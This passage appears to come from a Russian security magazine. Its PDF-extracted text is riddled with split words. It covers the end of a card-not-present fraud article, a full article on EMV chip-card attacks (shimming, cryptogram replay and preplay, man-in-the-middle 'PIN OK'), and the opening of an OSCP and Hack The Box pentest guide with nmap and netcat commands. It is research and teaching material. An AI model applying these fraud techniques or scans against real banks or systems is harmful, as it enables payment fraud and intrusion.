ноценн  ую вир туаль ную кар ту, с помощью которой уже мож но рас пла чиватьс  я
по все му миру, а не тольк  о в США.

Сущ  ес тву ет  еще  одно  средст  во  защиты  пла тежей  катего рии  card‐not‐
present. Оно называе  тся address verification system. В этом слу чае при совер‐ 
шении  плат  ежа  плат  ежн  ая  сис тема  свер  яет  еще  и  циф ры  из  почт  ового
индекса и адре са, по которо му зарегист  рир  ова на кар та (postcode / billing ad‐
dress). Такой же сис темой могут быть осна щены пла теж ные терм  иналы, под‐ 
держи вающие метод PAN Key Entry (о нем я расс  каз  ывал в прошл  ой статье).

ЗАКЛЮЧЕНИЕ
По оценк  ам Positive Technologies, до 50% бан ков до сих пор не защища ет сво‐ 
их кли ентов от под бора знач  ений CVV2 и Expiry Date. Имен но поэтом  у труд  яги
из стран Латинс  кой Амер  ики так активно занима ются по иском по всем  у миру
карт и банк  ов, уяз вимых к дан ным атак  ам.

О  друг  их  «белых  китах»  кар точног  о  мошенн  ичес тва  я  расс  каж  у  в  сле‐ 
дующий раз.

COVERSTORY

Тимур Юнусов

КОНБТЛАИКЗТКЫИЕ
КАК РАБОТАЮТ АТАКИ
НА ЧИПОВЫЕ КАРТЫ

Прак тичес ки  все  совр  еменн  ые  бан ков ские  кар ты  снаб жены
спе циаль ным  чипом,  на  котором  хра нит ся  необ ходимая
для плат  ежей информац  ия. В сегод няшней статье я расс  ка‐ 
жу  о  спо собах  мошенн  ичест  ва  с  такими  карт  ами,  а  так же
о  при меняе  мых  банк  ами  методах  прот  иво дейс  твия  кар‐ 
дерам.

INFO

О  прин ципах,  на  которых  строи  тся  безопасн  ость
бан ков ских плат  еж ных сист  ем, ты можешь узнать
в  статья  х  «Разб  ира емся,  как  работа ют  сист  емы
безопасн  ости кре дит ных карт» и «Как хакеры кра‐ 
дут деньг  и с бан ковс  ких карт».

ЧИПОВОЕ ЛЕГАСИ
Один  из  видов  информа ции,  содерж  ащейс  я  на  чиповой  кар те,  —  это  так
называе  мый Track2 Equivalent. Он практ  ическ  и один в один пов торя ет содер‐ 
жимое маг нитной полосы и, ско рее все го, слу жит в качес тве парамет ра иден‐ 
тификац  ии  кар ты  в  сис темах  HSM  и  друг  их  под систем  ах  карт  очно го  про цес‐ 
синга. Один из видов атак, которые вре мя от врем  ени про водят ся злоу  мыш‐ 
ленни ками,  подр  азумев  ает  запись  данн  ых  Track2  Equivalent  на  магн  итную
полосу,  посл  е  чего  мошенн  ичес кие  опе рации  пров  одят ся  либо  как  обычн  ые
тран закции  по  магн  итной  полосе,  либо  в  режиме  technical  fallback.
Для хищения таких дан ных из бан коматов использ  уют ся так называе  мые шим‐ 
меры.

Шим мер — устройс  тво для незамет ного сня тия дан ных при исполь ‐
зовании чиповых карт в банк  оматах

В одной из стат  ей о шимм  инге упо мина ется, что в 2006 году, в самом начале
выпус ка  чиповых  карт,  в  Великобр  итании  поле  Track2  Equivalent  содерж  ало
в  себе  ориг  инальн  ый  CVV2/CVC2.  Из‐за  этой  ошибк  и  было  лег ко  созд  авать
кло ны  магн  итных  полос  карт,  по  которым  оплат  а  прои  сход  ила  с  помощью
чипа.  Тогд  а  пла теж ные  сист  емы  решили  использ  овать  разн  ые  seed
при генерац  ии полей CVV2/CVC2 на маг нитной полосе и в поле Track2 Equiv‐
alent.  Казалось  бы,  задача  решена  —  зна чение  сек ретног  о  поля
CVV2/CVC2 на маг нитной полосе не совп  ада ет с тем, что записан  о на чипе.
Но шимм  инг жив и по‐преж нему проц ветае  т. Почему?

Мно гие банк  и до сих пор одоб ряют тран закции со счи танн  ыми с чипа зна‐ 
чения  ми CVV2/CVC2! Об этом час то упо мина ет Visa и поч ти не пишет Master‐
Card. Одна из при чин, по моему мнен  ию, — практ  ическ  и во всех кар тах Mas‐
terCard CVC2 в Track2 Equivalent равен 000. Для рус ских карт это такж  е неак‐ 
туаль но:  сред  и  про тест  ирован ных  мной  за  два  года  десят ков  банк  ов  я
не нашел ни одной карт  ы, где эта ата ка была бы возм  ожна. Тем не менее сто‐ 
ит отмет  ить, что подобн  ые ата ки по пуляр ны в Амер  ике.

INFO

Одн  а из немн  огих карт MasterCard, с которой мне
удал  ось  восп  рои  звести  эту  атак  у,  при надл  ежала
бан ку,  вообщ  е  не  пров  ерявш  ему  зна чение  поля
CVC2.  Я  мог  под став  ить  туда  что  угод но  —  000,
999  или  любые  друг  ие  вари анты  меж ду  этим  и
числ  ами.  Ско рее  всег  о,  в  этом  бан ке  не  был
отключ  ен  режим  отладки,  одобр  яющий  любые
тран закции.

Чем это чрев  ато? Хакер мог бы подм  енить поле
Service  Code,  указ  ыва ющее,  что  карт  а
не  содерж  ит  чипа,  и  сверк  а  целост  нос ти  этог  о
поля  была  бы  невозм  ожна,  потому  что  любой
CVC2  при нимал ся  проц  есс  ингом.  Уяз вимость,
очень  сильн  о  похожая  на  сле дующую  в  списк  е,
была быст  ро устран  ена пос ле пись ма в банк.

По  моей  стат  ис тике,  4  из  11  карт  были  под вержен  ы  подоб ным  ата- 
кам.

БРАЗИЛЬСКИЙ ХАК
Под  этим  терм  ином  понимаю  т  нес кольк  о  видов  атак,  в  том  числ  е  атак  у
на  офлайн‐тер миналы,  опи сан ную  «Лабора тори ей  Кас перс  ко го».  О  самой
мас совой  атак  е  c  таким  назв  ание  м  расс  каз  ывал  Брай ан  Кребс.  В  чем  суть
нашумевш  ей ата ки?

В  начале  2010‐х  чиповые  карт  ы  наконец‐то  получил  и  широкое  рас‐ 
простра нение в США. Неск  оль ко банк  ов начали выпуск  ать такие карт  ы. Стои  т
заметить,  что  до  сих  пор  самая  расп  ростран  енн  ая  чиповая  схем  а  в  США  —
это не Chip & PIN, а Chip & Signature. Вла дель цу подоб ной карт  ы не надо вво‐ 
дить  ПИН‐код,  а  нуж но  толь ко  вста вить  кар ту  в  счи тыва тель  и  под твер дить
транз  акцию под писью на чеке. Почему эта схе ма так при жилась — расс  ка жу
даль ше.

Как мне кажет ся, где‐то в этом про цес се прои  зошл  а инсай дер ская утеч ка
информац  ии,  и  хакеры  узнал  и,  что  чиповая  транз  акция  врод  е  и  про ходит,
но не про веряе  тся на стор  оне бан ка‐эми тент  а. Банк прост  о брал поле Track2
Equivalent  и  про водил  иден тификац  ию,  как  если  бы  это  была  обыч ная  тран‐ 
закция  по  магн  итной  полосе.  С  нес коль кими  нюанс  ами:  ответс твенн  ость
за  мошенн  ичест  во  такого  рода  по  новым  пра вилам  EMV  Liability  Shift  теперь
лежала  на  бан ке‐эмит  ент  е.  А  бан ки‐эми тен ты,  не  до  конц  а  понимая,
как  работал  и  такие  карт  ы,  не  вво дили  силь ных  огран  иче ний  на  «чиповые»
тран закции и не исполь зовали сис темы антифро да.

Быст  ро  сооб разив,  что  из  этог  о  можн  о  извлечь  выгоду,  кар деры  ста ли
открыв  ать мер чант‐аккау  нты и, исполь зуя куп ленные на чер ном рын ке данн  ые
магн  итных полос Track2, совер шали сот ни тран закций «чипом». Расс  ле дова‐ 
ние заняло годы, и к момен ту его окон чания мошенн  ики уже скрыл  ись. Сум мы
потерь  не  разг  лаш  ают ся,  одна ко  оче видн  о,  что  они  были  сущест  вен ными.
Самое  печаль ное,  что  с  тех  пор  жители  стран  Латинс  кой  Аме рики  ры щут
по  всем  у  свет  у  в  поис ках  «белых  китов»  и  активно  тест  иру ют  бан ки,  пыта ясь
най ти дру гой такой же неот клю чен ный отлад  очн  ый интерфейс.

CRYPTOGRAM REPLAY И CRYPTOGRAM PREPLAY
«В  дикой  при роде»  подобн  ая  атак  а  набл  юдалась  лишь  еди ножд  ы.  Она  была
задокум  ент  ирован  а и опис  ана (PDF) в иссле дован  ии извес тных спец  иалист  ов
из Кемб  риджс  ко го унив  ерс  итета.

Суть  атак  и  зак люча ется  в  обхо де  механизм  ов,  обесп  ечиваю  щих  уник  аль‐ 
ность  кажд  ой  тран закции  и  крип тограмм  ы.  Атак  а  поз воляе  т  «кло ниров  ать
тран закции»  для  дальн  ейшег  о  исполь зования  уже  без  дос тупа  к  ориг  иналь‐ 
ной кар те. В перв  ой час ти  уже  расс  каз  ыва лось,  что  на  вхо де  карт  а  получа ет
опред  еленн  ый набор дан ных: сумм  у, дату тран закции, а такж  е два поля, обес‐ 
печиваю  щих энтро пию, даже если сум ма и дата один  аков  ые. Со стор  оны тер‐ 
минала  энтро пию  232  обес печива ют  4  бай та  поля  UN  —  слу чай ного  чис ла.
Со  сто роны  карт  ы  —  ATC‐счет чик  опе раций,  уве личив  ающийс  я  каж дый  раз
на един  ицу. Псев дофун кция выгл  ядит прим  ер но так:

Cryptogram=Signature(ATC,UN,Amount,Misc,SecretKey)

Ес ли одно из полей меня ется, измен  яет ся и выходн  ое знач  ение крипт  ограм‐ 
мы.  Одна ко  что  про изой дет,  если  все  поля  остан  ут ся  преж ними?  Зна чит,
и  преж няя  крипт  ограмм  а  остан  ет ся  валид ной.  Из  это го  сле дуют  две  воз‐ 
можност  и атак на чиповые тран закции.

Cryptogram Replay. Если ском про мети рован ный терм  инал выда ет одно
и  то  же  поле  UN,  однажды  счи танн  ая  с  карт  ы  крип тограм ма  с  переданн  ым
предс  каз  уемым  полем  UN  может  использ  овать ся  сколь ко  угод но  раз.  Даже
на  след  ующий  день  злоу  мыш ленник  и  могут  передав  ать  информац  ию  о  ста‐ 
рой крип тограм ме со стар  ой датой в запр  осе на автор  изац  ию, и это не при‐ 
ведет  к  отказ  у.  В  моих  прош логод них  тес тах  я  пов торил  одну  и  ту  же  крип‐ 
тограм му  семь  раз  на  прот  яже нии  семи  дней,  и  это  не  вызв  ало  никаких
подоз рений у бан ка.

Схе ма ата ки Cryptogram Replay

Cryptogram  Preplay.  Эта  схе ма  исполь зует ся,  если  уязв  имый  терм  инал

воз вращ  ает не один и тот же UN,  но  выдае  т  их  пред сказ  уемы ми.  Имен но  так
работал  уязв  имый  бан комат  в  опи сан ной  выше  маль тийской  атак  е.  В  таком
слу чае зло умышл  енник при физичес ком дост  упе к кар те клон  ируе  т нес кольк  о
транз  акций  «на  будущее».  В  отлич  ие  от  перв  ой  ата ки,  каж дая  тран закция
может использ  овать ся толь ко один раз.

Эта  атак  а  инте ресн  а  с  истор  ичес кой  точк  и  зре ния  раз вития  про токол  а
EMV.  Ког да  про токол  соз давал ся,  поле  ATC  было  соз дано  спец  иаль но
для защиты от подобн  ых атак.

Банк‐эми тент  дол жен  был  про верять  зна чение  поля  ATC,  и,  если  эти  зна‐ 
чения  прих  оди ли  не  по  порядк  у,  с  замет ными  скачк  ами,  подозр  ительн  ые
транз  акции откло нялись.

Нап ример,  если  на  про цес синг  пос тупали  тран закции  зна чение  м  ATC
0001, 0002, *0008*, *0008*, *0008*, 0009, 0010, *0003*, *0004*, то
опер  ации,  номера  которых  выделе ны  в  этой  посл  едова тель нос ти,  дол жны
были  счи татьс  я  подоз рительн  ыми  и  отклон  ятьс  я  про цес сингом.  Но  затем
начали  пос тупать  жалобы  от  клие  нтов,  и  в  тех нологию  были  вне сены  кор‐ 
ректив  ы.

Расс  мот рим  прим  ер:  клие  нт  бан ка  садит ся  в  самолет,  расп  лач  ивае  тся
в  самоле те  кар той  с  использ  овани ем  офлайн‐терм  инала.  Далее  самолет
при земл  яет ся, и кли ент рас плач  ивае  тся карт  ой в отел  е. И тольк  о посл  е этог  о
исполь зуемый в самолет  е терм  инал под клю чает ся к сети и передае  т данн  ые
о транз  акци ях. В таком слу чае будет зафик сирован скач  ок ATC, и, сле дуя пра‐ 
вилам пла тежн  ых сист  ем, банк мог бы отклон  ить абсол  ют но легитим ную тран‐ 
закцию.  Посл  е  нес коль ких  подоб ных  эпиз  одов  плат  ежн  ые  сист  емы  внес ли
корр  екти вы в их тре бова ния по «скачк  ам ATC»:
• скач ки дол жны счит  атьс  я, толь ко если дель та меж ду знач  ени ями счет чика

«выше Х», где знач  ение Х каж дый банк дол жен опре делять инди видуа  ль но;
• скачк  и  не  обяз  атель но  служ  ат  призн  аком  мошенн  ичес тва,  однак  о  пос‐ 

тоянн  ые  скачк  и  выше  зна чения  Х  —  это  повод  свя зать ся  с  клие  нтом
для выясн  ения обсто ятель ств.

При  этом  за  борт  ом  изме нений  остался  пер вый  сцен  арий  —  cryptogram  re‐
play.  Если  карт  очный  проц  есс  инг  спро екти рован  кор рек тно,  нет  ни  одног  о
разумн  ого  объ ясне ния  ситу ации,  ког да  один  и  тот  же  набор  данн  ых  (Cryp‐
togram, UN, ATC) пост  упа ет на вход мно го раз и успешно одоб ряет ся бан ком.
За пос ледний год я отправ  ил информац  ию об этой ата ке более чем в 30 раз‐ 
ных банк  ов и получил дос таточн  о широкий спектр отве тов.

В  некото рых  слу чаях  неп равильн  ое  про екти рован  ие  серв  исов  проц  ес‐ 
синга  при водит  к  тому,  что  банк  не  может  прос то  заб локиро вать  опер  ации
с  оди нако выми  знач  ени ями.  Такж  е  сто ит  отме тить,  что  в  «дикой  прир  оде»  я
не  встреч  ал  тер миналы,  которые  воз вращ  али  бы  оди нако вое  знач  ение  поля
UN. То есть зло умышл  енник  ам прих  одит ся исполь зовать их собс твенн  ые тер‐ 
миналы, что делае  т отмыв  ание денег более слож ным.

Кро ме  того,  даже  офлайн‐аутен тификац  ия  не  всег да  помогае  т:  ее  можн  о
обойт  и  либо  пред положить,  что  источник  UN  скомп  ро мети рован  и  в  ней.
В  этом  случ  ае  можн  о  заранее  выс читать  резуль тирую  щие  знач  ения  схем
аутент  ифика ции DDA/CDA для пред сказ  уемо го поля UN.

Стат  ис тика показы вает, что 18 из 31 банк  овс  кой кар ты под вержен  ы

ата кам replay/preplay  в  отно шении  конт  ак тног  о  или  бес контакт  но го  чипа.

При этом в Рос сии я не смог найт  и ни одног  о уязв  имого для это го типа атак
бан ка, что крайн  е любопыт но.

PIN OK
По жалуй,  это  самая  извест  ная  ата ка  на  чипы.  Перв  ые  теоре тичес кие  пред‐ 
посыл ки  к  этой  атак  е  команд  а  из  Кем бридж  а  опи сала  в  2005  году  в  иссле‐ 
дова нии Chip and Spin, за год до того, как стан дарт EMV получил расп  ростра‐ 
нение  в  Великоб ритании.  Но  повышенн  ое  вним  ание  к  этой  атак  е  возн  икло
горазд  о поз днее.

В 2010 году выходит пол ноцен ное иссле дован  ие кем бридж ской чет верки,
пос вящен ное  атак  е  PIN  OK.  Для  этой  атак  и  они  использ  овали  устройс  тво,
реализ  ующее  техн  ику  «человек  посеред  ине»  меж ду  чипом  карт  ы  и  ридером
тер минала.

Уст  рой ство для реализ  ации техн  ики «человек посеред  ине»

В  2011  году  на  кон ференц  иях  Black  Hat  и  DEFCON  групп  а  исслед  ова телей
из Inverse Path и Aperture Labs пред став  ила боль ше информа ции об этой ата‐ 
ке.  Тог да  же,  в  2011  году,  орган  изо ванн  ая  прес тупная  групп  иров ка  исполь‐ 
зовала 40 укра ден ных бан ковс  ких карт для соверш  ения 7000 мошенн  ическ  их
тран закций,  в  резуль тате  которых  было  укра дено  680  тысяч  евро.  Вмес то
при менявш  егося иссле дова теля ми гро моз дког  о устрой ства прес тупник  и вос‐ 
польз  овались  малень ким  незамет ным  «втор  ым  чипом»,  устан  ов ленным
поверх  ори гинальн  ого,  что  позв  оляло  эмул  иро вать  ата ку  в  реаль ных  усло‐ 
виях.

В  декаб ре  2014  года  иссле дова тели  из  Inverse  Path  сно ва  подн  яли  тему
атак  на  тран закции  EMV  и  пред став  или  нем ного  стат  ис тики,  собр  анной  ими
за три года (PDF). В 2015 году было выпуще но деталь ное техн  ическ  ое иссле‐ 
дова ние  атак  и  (PDF),  соверш  енной  неиз вес тны ми  зло умыш ленни ками
в 2011 году.

Дав  ай  рас смот рим  тех ничес кие  детали  этой  атак  и.  Для  ее  реализ  ации,
напомн  им, нужн  о использ  овать тех нику man in the middle. Кар та переда ет тер‐ 
миналу  поле  CVM  List  (Сard  Verification  Method)  —  прио  ри тет ный  спи сок
методов  верифик  ации  влад  ель ца  карт  ы,  подд  ержи ваемых  карт  ой.  Если  пер‐ 
вое пра вило на кар те «офлайн‐ПИН шиф рованн  ый/нешиф рованн  ый», на этом
этап  е ничего не про исход  ит. Если перв  ое прав  ило друг  ое, то во врем  я атак  и
пер вое пра вило подм  еняе  тся на «офлайн‐ПИН».

За тем  тер минал  запр  ашива ет  у  вла дель ца  карт  ы  ПИН‐код.  Прав  ило
«офлайн‐ПИН»  озна чает,  что  ПИН‐код  будет  передан  карт  е  для  свер ки
в откры том или шиф рованн  ом виде. В ответ карт  а либо отве тит 63C2 «Невер‐ 

ный ПИН, оста лось две попыт ки», либо 9000 «ПИН ОК». Именн  о на этом этап  е

зло умышл  енник,  внед ривший ся  в  про цесс  авто ризац  ии,  заменит  перв  ый
ответ вто рым.

На  данн  ом  этап  е  терм  инал  счит  ает,  что  ПИН  вве ден  корр  ек тно,  и  зап‐ 
рашива ет у карт  ы крипт  ограмм  у (запр  ос Generate AC), переда вая ей все зап‐ 
рашивае  мые поля. Карт  а знае  т, что ПИН либо не вве ден совс  ем, либо вве ден
некор рект  но. Но при этом карт  а не зна ет, какое решение даль ше прин  ял тер‐ 
минал.  Нап ример,  есть  терм  иналы,  которые  при  вво де  некорр  ект  но го
ПИН‐кода про сят держ  ателя карт  ы пост  авить под пись на тачс крин  е — дела‐ 
ется  это  для  его  же  ком форта.  Поэто му,  ког да  тер минал  запр  ашива ет  крип‐ 
тограм му, кар та отда ет ее. В отве те содерж  ится поле CVR — Card Verification
Results, которое указ  ыва ет, был ли про верен ПИН‐код карт  ой или нет. Более
того,  это  поле  явля ется  частью  плат  еж ной  крипт  ограм мы,  и  под менить  его
зна чение  зло умышл  енник  ам  не  удас тся:  попыт ка  при ведет  к  ошибк  е  сверк  и
крипт  ограм мы на HSM.

Терм  инал  отсыл  ает  все  данн  ые  в  пакете  ISO  8583  Authorization  Request
банк  у‐эквайе  ру,  затем  они  пос тупа ют  бан ку‐эми тент  у.  Банк  видит  два  поля:
CVMResults, которое ука зыва ет, что в качес тве метода верифик  ации был выб‐ 
ран  офлайн‐ПИН  и  что  терм  инал  под держи вает  этот  метод  верифик  ации.
Но  еще  банк  видит,  что  кар та  НЕ  при няла  ПИН‐код  либо  что  он  был  введ  ен
некор рект  но. И нес мотря ни на что, одоб ряет транз  акцию.

Ес ли  кар та  использ  ует  схе му  аутен тифика ции  CDA  и  зло умышл  енни кам
необх  одимо  под менить  перв  ое  пра вило  CVM  list,  офлайн‐аутент  ификац  ия
будет  заверш  ена  с  ошибк  ой.  Однак  о  это  всег да  обход  ит ся  под меной  полей
Issuer Action Code. Подр  обнос ти дан ного случ  ая опис  аны в пос ледней вер сии
през  ент  ации от 2014 года экспер тами из Inverse Path.

Такж  е  в  перв  ом  исслед  ова нии  от  2011  года  спец  иалис ты  показа ли,  что
станд  арт  EMV  позв  оляе  т  не  отклон  ять  тран закции  на  плат  еж ном  устройс  тве,
даже если безопас ные методы аутен тифика ции и верифи кации не сра ботал  и,
а идти даль ше, кажд  ый раз выбирая менее безопас ные методы (так называ‐ 
емый fallback). Это открыв  ает перед зло умышл  енник  ами дру гие возм  ожнос ти,
вклю чая атак  и на похищен  ие ПИН‐кода во врем  я опер  аций на ском про мети‐ 
рованн  ых POS‐терм  иналах.

ЗАКЛЮЧЕНИЕ
Ин терес ная  стат  ист  ика  за  посл  едний  год:  несм  отря  на  то  что  еще  в  2010‐м
«наст  оящие  безопасн  ики»  из  банк  ов  умил  ялись  тому,  как  кто‐то  не  сле дит
за  очев  идн  ыми  проб лемами  карт  очно го  проц  ес синга,  в  2020  году  все  при‐ 
мерн  о  так  же  пло хо.  Стат  ист  ика  пров  ерок  за  прошл  ый  год  показа ла,
что  31  из  33  карт  банк  ов  с  раз ных  угол ков  Земл  и,  вклю чая  росс  ийс  кие,  уяз‐ 
вима к этой атак  е.

В  сле дующей  статье  я  расс  мот рю  схем  ы  атак  на  бес контак тные  карт  ы
и связ  анн  ые с ними прил  оже ния — мобиль ные кошель ки.

ВЗЛОМ

ПЕНТЕСТ
ПО-СВОЕМУ

Евгений Грязнов
[email protected]

СОЗДАЕМ СОБСТВЕННУЮ МЕТОДИКУ
ТЕСТИРОВАНИЯ НА ПРИМЕРЕ

МАШИН С OSCP И HACK THE BOX

Каж дому  начина ющем  у  пен тестер  у  или  прос то  энту зиас ту
мира ИБ однажды хочет ся перей ти от чтен  ия зах ватыва ющих
райт  апов к практ  ике. Как же лучш  е это сдел  ать и на что обя‐ 
затель но сто ит обрат  ить вни мание? В этой статье я расс  ка‐ 
жу о сво ем пути и поделюсь некото рыми из свои  х наработ  ок.

Рай тапы  по  HTB  или  CTF‐машинам  срод ни  хороше му  детект  иву.  Опыт ный
пен тестер  быс тро  находит  уязв  имость,  пишет  скрипт  для  ее  экс плуа  тац  ии,
и  вот  уже  завет ный  флаг  у  нас  в  руках!  Одна ко  в  реальн  ост  и  этот  про цесс
со  все ми  удачн  ыми  и  неудачн  ыми  попыт ками  может  занять  от  нес кольк  их
часов  до  неск  оль ких  десят ков  дней.  Об  этом  не  при нято  писать  в  рай тапах,
ведь сам поиск далеко не такой крас  оч ный. Как же в реаль ност  и находят ся те
самые  «прав  иль ные  мес та»  и  как  узнать,  на  что  сто ит  обра тить  вни мание?
Для это го у боль шинст  ва серь езных пен тестер  ов есть собст  вен ная методик  а
или спис  ок чек‐лист  ов.

INFO

Вся информац  ия, при веденн  ая в статье, собр  ана
авто ром  во  врем  я  прох  ожд  ения  лабора тории
OSCP  и  машин  с  HTB.  При  реаль ном  пент  есте
мно гие  вещи  могут  работать  ина че,  и  это  сто ит
обяз  атель но учит  ывать! Если ты слыш  ишь о OSCP
вперв  ые,  прос то  проч  итай  статью  о  самом
популярн  ом экза мене.

Тип  ичн  ый про цесс иссле дова ния любой машины разд  елен на неск  оль ко эта‐ 
пов.
1. Скан  иро вание и сбор информац  ии (Scanning).
2. Оп ределен  ие уязв  имос тей (Enumeration).
3. Экс плу ата ция уяз вимос тей (Exploitation).
4. По вышен  ие при вилег  ий (Privilege Escalation).
5. Пос тэкс плуа  та ция (Post Exploitation).
6. Очис тка сле дов (House Cleaning).

Пройд  ем ся по ним, что бы понять, как эффектив нее дей ствов  ать на каж дом.

СКАНИРОВАНИЕ И СБОР ИНФОРМАЦИИ
Пер вое, что тебе необх  одимо сде лать, — это прив  ес ти иссле дуемую машину
в исходное сос тояние. Для этог  о во всех сер висах есть опция Revert или Re‐
set. Собирать информа цию, не верн  ув машину в исходное сост  ояние, не сто‐ 
ит:  там  могут  не  най тись  нужн  ые  файл  ы  или  в  обще дост  упной  пап ке  на  FTP
уже  может  лежать  готовый  эксп  ло ит,  что  испортит  тебе  все  удо вольс  твие
и возм  ожность получить опыт.

Что  еще  хуже,  некото рые  эксп  ло иты  врод  е  переполн  ения  буфера  могут
сраб  отать ровн  о один раз, и, скан  ируя такую машину, ты прос то не найд  ешь
нужн  ый  серв  ис.  Поэто му  всег да  возв  ращ  аем  машину  в  исходное  сост  ояние!
В  HTB  ста рают ся  не  делать  таких  серв  исов,  но  там  тоже  мож но  прог  оло‐ 
совать  за  Revert  или  перезап  ус тить  машину  самому,  если  у  тебя  есть  ста тус
VIP.

Сканирование портов
Спо ры  о  пра виль ных  спос  обах  скан  иро вания  порт  ов  не  ути хают  никог да.
Сущест  вуе  т  мно го  разн  ых  скрипт  ов  вро де  Autorecon,  nmapAutomator,  они
очень полезн  ые, но я не рекоменд  ую начинать с них. Почему? Всегд  а луч ше
понять,  как  работа ет  та  или  иная  ути лита,  а  не  слеп  о  полагать ся  на  нее.
Поэто му луч ше ска чай их и посм  отри исходный код, а мы будем исполь зовать
ста рый добр  ый Nmap.

Для начала мож но прой тись быст  рым скан  иро вани ем популярн  ых пор тов:

$ nmap x.x.x.x ‐v ‐‐top‐ports 10 –open 

Ес ли  вдруг  Nmap  воз вращ  ает  ошибк  у  о  недост  упност  и  хос та,  попр  обуй
опцию  ‐Pn.  Пока  ты  разм  ышля ешь  над  получен ной  информа цией,  можн  о
запуст  ить пол ное скан  иро вание всех TCP‐порт  ов.

$ nmap x.x.x.x ‐p‐ ‐v ‐sV ‐‐reason

Не  забудь,  сущес тву ют  еще  порт  ы  UDP!  Коман дную  строк  у  для  их  ска ниро‐ 
вания я оставлю тебе в качест  ве домашн  его задания.

INFO

Пом ни:  даже  некото рые  лабора тор ные  машины
могут иметь защиту от ска ниров  ания. Если вдруг
в  середин  е  ска ниро вания  все  внез  апн  о  прер‐ 
валось  или  зависл  о,  поигр  ай  с  опция  ми  Nmap.
Нап ример, увел  ичь врем  я межд  у проб  ами пор тов
и умень ши количест  во одноврем  ен ных проб.

В  результ  ате  всех  этих  дейс  твий  у  тебя  будет  информа ция  о  дост  упных
на машине порт  ах.

Ре зульт  ат скан  иро вания пор тов

Не бро сай ся сраз  у же искать экс пло ит для VMware или Samba! Ты соверш  ишь
самую боль шую ошибк  у и рис куешь попасть в так называе  мые крол  ичьи норы
(Rabbit  Holes).  Тупико вые  мес та,  которых  страш но  боят ся  все  на  экзам  ене
OSCP:  ты  можешь  пот ратить  часы  в  попыт ках  слом  ать,  нап ример,  WordPress
и в кон це не добитьс  я резуль тата, поск  оль ку уяз вимость была в дру гом сер‐ 
висе, но ты до него прос то не дошел.

Твоя  задача  —  собр  ать  весь  спи сок  открыт  ых  порт  ов  и  воз можных  сер‐ 
висов,  которые  работа ют  за  ними.  Посл  е  этог  о  переход  им  к  дальн  ейше му
сбо ру информа ции.

Как  улуч шить  свои  навыки  скан  иров  ания?  Читай  райт  апы,  смот ри,  какие
в  них  использ  уют ся  инст  рум  ен ты,  и  попол няй  свою  копилк  у.  Рекомен дую
завест  и отдель ный репози торий с докумен тами и там план  омер но соз давать
собст  вен ную методик  у. У меня в раз деле «ска ниро вание порт  ов» сей час око‐ 
ло  десят ка  раз ных  спо собов  ска ниро вания  (Nmap,  masscan,  скрип ты  и  дру‐ 
гие).

Осо бо  обрат  и  вни мание  на  любые  пор ты,  которые  Nmap  не  смог
однозначн  о идент  ифицир  овать. Так же — пор ты, о которых ты не знал рань ше,
и  на  при вычн  ые  вещи  вро де  веб‐сер веров  и  FTP  на  нес тандарт  ных  порт  ах
вро де 9000, 5000 и дру гих. Обыч но это пер спект  ивные с точк  и зрен  ия экс плу‐ 
атац  ии серв  исы, которые прост  о хотели спрят  ать от быст  рог  о ска ниров  ания.
Имен но поэто му я рекоменд  ую всегд  а пров  одить полн  ое ска ниро вание всех
порт  ов  TCP  и  быст  рое  —  базовых  UDP.  Мне  встреч  ались  машины,  где  уяз‐ 
вимый сер вис был спрят  ан в UDP.

Сервисы
В этом раз деле я прив  еду прим  еры неск  ольк  их популяр ных порт  ов и расс  ка‐ 
жу, на что обя затель но сто ит обращ  ать вни мание при исслед  ован  ии каж дого.

21-й порт
Мне очень нрав  ит ся пров  ерять информа цию о любых, осо бенн  о неиз вес тных
порт  ах  на  сай те  speedguide.net.  На  экзам  ене  это  даже  помог ло  мне  взять
одну из машин!

Как  видн  о,  порт  21  обычн  о  отве чает  за  FTP,  но  за  ним  может  находитьс  я
любой  из  извес тных  тебе  FTP‐серв  исов,  а  может  и  не  FTP  вооб ще.  Вдруг
какой‐то  хит рый  админ  перевес  ил  туда  SSH?  Поэто му  пер вое,  что  я  всег да
делаю, — про бую под клю чить ся к сер вису с помощью netcat.

$ nc ‐nv x.x.x.x 21 

Ча ще всег  о тебя встрет  ит банн  ер FTP‐серв  ера, врод  е такого.

При мер отве та FTP‐серв  ера

Но  если  уви дишь  там  ответ  SSH  или  иног  о  серв  иса,  прост  о  запиши  это  и
перехо ди к соот ветс тву юще му раз делу, чтоб  ы понять, что еще оттуд  а мож но
добыть!

На что сле дует обрат  ить вни мание при иссле дован  ии FTP:
• назв  ание прогр  аммы‐серв  ера и ее вер сия;
• раз решен ли ано нимн  ый дос туп;
• нет ли чего‐то интер  ес ного в пап ках на серв  ере;
• не разр  ешена ли запись в какую‐нибудь папк  у;
• есть ли уязв  имост  и в этой верс  ии сер вера.

1. Вер сию  FTP  тебе  покажет  nc,  либо  можн  о  поп робовать  узнать  ее  через
Nmap:

$ nmap ‐A ‐v x.x.x.x ‐p21

В  сети  есть  мно жест  во  прог рамм,  которые  пыта ются  эвристич  ес ки  опре‐ 
делить верс  ию FTP‐серв  ера, можешь использ  овать их.
2. Те перь под клю чись к серв  еру стан дар тным FTP‐кли ентом и пров  ерь ано‐ 
нимн  ый  дос туп.  Обычн  о  это  guest,  ftp,  anonymous.  Если  получил  ось  —
отлично.  Если  нет,  не  отча ивай ся  —  воз можно,  ты  най дешь  учет ные  дан‐ 
ные поз же или серв  ис вообщ  е не понадоб  ит ся.
3. Ес ли  удал  ось  попасть  на  FTP,  осмотрись.  Это  может  быть  прост  о  пуст  ая
пап ка,  а  может  каталог  веб‐серв  ера,  запиши  это.  Иногд  а  находят ся
какие‐нибудь  файл  ы  —  склад  ируй  их  для  дальн  ейше го  изу чения.  Кстат  и,
самое врем  я найт  и и записать себе коман ду для рекур сивног  о ска чива ния
всех фай лов с FTP! Ты же не собирае  шьс  я пос тоянн  о делать это по одно‐ 
му?
4. Про верь,  можешь  ли  ты  записать  в  папк  у  хоть  что‐то.  Удобн  о  сдел  ать
это коман дой put. Но помн  и, иног да серв  ер дает прав  о записи, но не уда‐ 
ления!  Не  клад  и  туда  ничего  цен ного,  лабора торн  ые  машины  дос тупны
всем.
5. Вре мя поиск  ать уяз вимост  и. Самый прос той и разр  ешен ный в OSCP спо‐ 
соб — использ  овать скрипт  овые воз можнос ти Nmap. С них сто ит начинать
всег да незави симо от того, какой порт ты изу чаешь. Давай узнае  м, какие
есть скрипт  ы для FTP, и запус тим их все сра зу. (Кста ти, так за тебя делае  т
nmapAutomator.)

$ ls ‐la /usr/share/nmap/scripts/ftp*
